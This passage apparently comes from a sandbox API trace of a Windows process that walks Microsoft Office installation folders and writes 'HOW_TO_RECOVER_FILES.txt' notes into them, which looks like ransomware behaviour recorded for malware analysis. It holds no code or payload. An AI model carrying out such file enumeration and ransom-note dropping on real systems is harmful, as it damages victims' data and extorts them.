lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11672e1a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11672e1a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11699072, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x93296, dwReserved0=0x0, dwReserved1=0x0, cFileName="DCF.x-none.msi.16_mondoww.mcxml", cAlternateFileName="DCFX-N~1.MCX")) returned 1 [0129.159] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11672e1a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11672e1a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11699072, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x21d4ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="Excel.x-none.msi.16_mondoww.mcxml", cAlternateFileName="EXCELX~1.MCX")) returned 1 [0129.159] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11699072, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11699072, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11699072, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x36bf4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Groove.x-none.msi.16_mondoww.mcxml", cAlternateFileName="GROOVE~1.MCX")) returned 1 [0129.159] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11699072, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11699072, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11699072, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1779d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lync.x-none.msi.16_mondoww.mcxml", cAlternateFileName="LYNCX-~1.MCX")) returned 1 [0129.159] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11699072, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11699072, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11699072, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x109e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office.x-none.msi.16_authored.mcxml", cAlternateFileName="OFFICE~4.MCX")) returned 1 [0129.160] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11699072, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11699072, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11699072, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2eb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office.x-none.msi.16_Common.mcxml", cAlternateFileName="OFFICE~2.MCX")) returned 1 [0129.160] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11699072, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11699072, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11699072, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4d407, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office.x-none.msi.16_licensing.mcxml", cAlternateFileName="OFFICE~3.MCX")) returned 1 [0129.160] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11699072, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11699072, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x128ed2a1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x402c64, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office.x-none.msi.16_mondoww.mcxml", cAlternateFileName="OFFICE~1.MCX")) returned 1 [0129.160] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x116bf2cb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x116bf2cb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x116bf2cb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office.x-none.msi.16_postcommon.mcxml", cAlternateFileName="OFC55B~1.MCX")) returned 1 [0129.160] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x116bf2cb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x116bf2cb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x116bf2cb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x461, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office.x-none.msi.16_PostCommon.Office.x-none.mcxml", cAlternateFileName="OFD6FB~1.MCX")) returned 1 [0129.160] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x116bf2cb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x116bf2cb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x116bf2cb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa25e, dwReserved0=0x0, dwReserved1=0x0, cFileName="office32ww.msi.16_crossbitness.mcxml", cAlternateFileName="OF73AB~1.MCX")) returned 1 [0129.161] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x116bf2cb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x116bf2cb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x116e5533, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3d3b0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="office32ww.msi.16_office32ww.mcxml", cAlternateFileName="OF4373~1.MCX")) returned 1 [0129.161] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x117f066f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x117f066f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x128c7033, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x67260, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNote.x-none.msi.16_mondoww.mcxml", cAlternateFileName="ONENOT~1.MCX")) returned 1 [0129.161] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x128a0e2b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x128a0e2b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x128a0e2b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNote.x-none.msi.16_OneNote.mcxml", cAlternateFileName="ONENOT~2.MCX")) returned 1 [0129.161] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x116e5533, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x116e5533, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x117f066f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x84a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSM.x-none.msi.16_mondoww.mcxml", cAlternateFileName="OSMX-N~1.MCX")) returned 1 [0129.161] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x116e5533, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x116e5533, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x116e5533, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcf38, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSMUX.x-none.msi.16_mondoww.mcxml", cAlternateFileName="OSMUXX~1.MCX")) returned 1 [0129.161] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x116e5533, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x116e5533, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1181684e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x20337a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook.x-none.msi.16_mondoww.mcxml", cAlternateFileName="OUTLOO~1.MCX")) returned 1 [0129.162] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x117f066f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x117f066f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x117f066f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook.x-none.msi.16_PostCommon.Outlook.x-none.mcxml", cAlternateFileName="OUTLOO~2.MCX")) returned 1 [0129.162] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x117f066f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x117f066f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x128ed2a1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2504a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivot.x-none.msi.16_mondoww.mcxml", cAlternateFileName="POWERP~1.MCX")) returned 1 [0129.162] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x123438ef, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x123438ef, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x128a0e2b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12801a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPoint.x-none.msi.16_mondoww.mcxml", cAlternateFileName="POWERP~2.MCX")) returned 1 [0129.162] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b9607ff, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0xca698, dwReserved0=0x0, dwReserved1=0x0, cFileName="Project.x-none.msi.16_mondoww.mcxml", cAlternateFileName="PROJEC~1.MCX")) returned 1 [0129.162] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x128a0e2b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x128a0e2b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x128ed2a1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x268ee4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher.x-none.msi.16_mondoww.mcxml", cAlternateFileName="PUBLIS~1.MCX")) returned 1 [0129.162] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4c5b962, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4c5b962, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4c81c51, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x148572, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio.x-none.msi.16_mondoww.mcxml", cAlternateFileName="VISIOX~1.MCX")) returned 1 [0129.163] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4c81c51, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4c81c51, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4c81c51, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x13a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio.x-none.msi.16_PostCommon.Visio.x-none.mcxml", cAlternateFileName="VISIOX~2.MCX")) returned 1 [0129.163] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x128ed2a1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x128ed2a1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x12985c4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17fba4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Word.x-none.msi.16_mondoww.mcxml", cAlternateFileName="WORDX-~1.MCX")) returned 1 [0129.163] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x128ed2a1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x128ed2a1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x12985c4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17fba4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Word.x-none.msi.16_mondoww.mcxml", cAlternateFileName="WORDX-~1.MCX")) returned 0 [0129.163] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0129.164] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0129.164] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0129.165] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59da50, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4c [0129.165] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59df70) returned 1 [0129.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x644 [0129.166] GetFileType (hFile=0x644) returned 0x1 [0129.166] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dee0) returned 1 [0129.166] GetFileType (hFile=0x644) returned 0x1 [0129.167] WriteFile (in: hFile=0x644, lpBuffer=0x35e5998*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59e038, lpOverlapped=0x0 | out: lpBuffer=0x35e5998*, lpNumberOfBytesWritten=0x1f59e038*=0x5d0, lpOverlapped=0x0) returned 1 [0129.168] CloseHandle (hObject=0x644) returned 1 [0129.168] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59e480, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\mcxml\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x45 [0129.168] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e9a0) returned 1 [0129.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x644 [0129.169] GetFileType (hFile=0x644) returned 0x1 [0129.169] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e910) returned 1 [0129.169] GetFileType (hFile=0x644) returned 0x1 [0129.169] WriteFile (in: hFile=0x644, lpBuffer=0x35e9200*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59ea68, lpOverlapped=0x0 | out: lpBuffer=0x35e9200*, lpNumberOfBytesWritten=0x1f59ea68*=0x5d0, lpOverlapped=0x0) returned 1 [0129.170] CloseHandle (hObject=0x644) returned 1 [0129.170] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ea30) returned 1 [0129.170] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16", nBufferLength=0x105, lpBuffer=0x1f59e4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16", lpFilePart=0x0) returned 0x2f [0129.170] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\*", lpFindFileData=0x1f59e750 | out: lpFindFileData=0x1f59e750*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0129.171] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0129.489] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d9058b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b93a5c4, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b93a5c4, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0129.490] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d440f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d440f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d440f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1036", cAlternateFileName="")) returned 1 [0129.490] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d440f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d440f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d440f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 1 [0129.541] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1295fc19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x12985c4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessWeb", cAlternateFileName="ACCESS~1")) returned 1 [0129.543] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1295fc19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1306082b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x393a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCICONS.EXE", cAlternateFileName="")) returned 1 [0129.543] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1335b74d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1335b74d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCWIZ", cAlternateFileName="")) returned 1 [0129.544] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda173cc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb6c7584, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x33860, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCWIZ.DLL", cAlternateFileName="")) returned 1 [0129.544] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xce758538, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe107a061, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe15188c1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x91aa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEDAO.DLL", cAlternateFileName="")) returned 1 [0129.544] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc7c5a96a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133819a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADDINS", cAlternateFileName="")) returned 1 [0129.544] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda173cc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1b81e2e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1b680, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdeModule.dll", cAlternateFileName="ADEMOD~1.DLL")) returned 1 [0129.544] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1d91898, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1d91898, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4cce0ca, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x15fec0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AEC.DLL", cAlternateFileName="")) returned 1 [0129.544] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1d91898, ftCreationTime.dwHighDateTime=0x1d47c32, 